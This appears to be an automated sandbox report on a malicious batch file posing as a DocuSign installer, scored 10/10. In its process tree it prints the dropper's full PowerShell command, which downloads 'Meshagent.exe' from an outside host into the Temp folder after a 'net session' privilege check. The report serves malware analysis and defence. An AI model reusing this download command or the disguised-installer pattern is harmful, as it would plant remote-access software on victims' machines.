Analysis

  • max time kernel
    298s
  • max time network
    186s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 09:05

General

  • Target
    Docusign_Installer.bat
  • Size 1KB
  • Sample260910-k155raal7x
  • SHA256 31cc2a7ead362c6e5f39765fe7ffe380cf3fe00e8f7f6339d306e943c05e96db
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://eb.yqvkdwr.com/Meshagent.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5936
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:6076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://eb.yqvkdwr.com/Meshagent.exe', 'C:\Users\Admin\AppData\Local\Temp\meshagent.exe')"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:860

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_z1foyc3w.z1y.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1foyc3w.z1y.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/860-1-0x000001FC4E220000-0x000001FC4E230000-memory.dmp

          memory/860-0-0x000001FC4E220000-0x000001FC4E230000-memory.dmp

          memory/860-7-0x000001FC4E1F0000-0x000001FC4E212000-memory.dmp

          memory/860-10-0x000001FC4E220000-0x000001FC4E230000-memory.dmp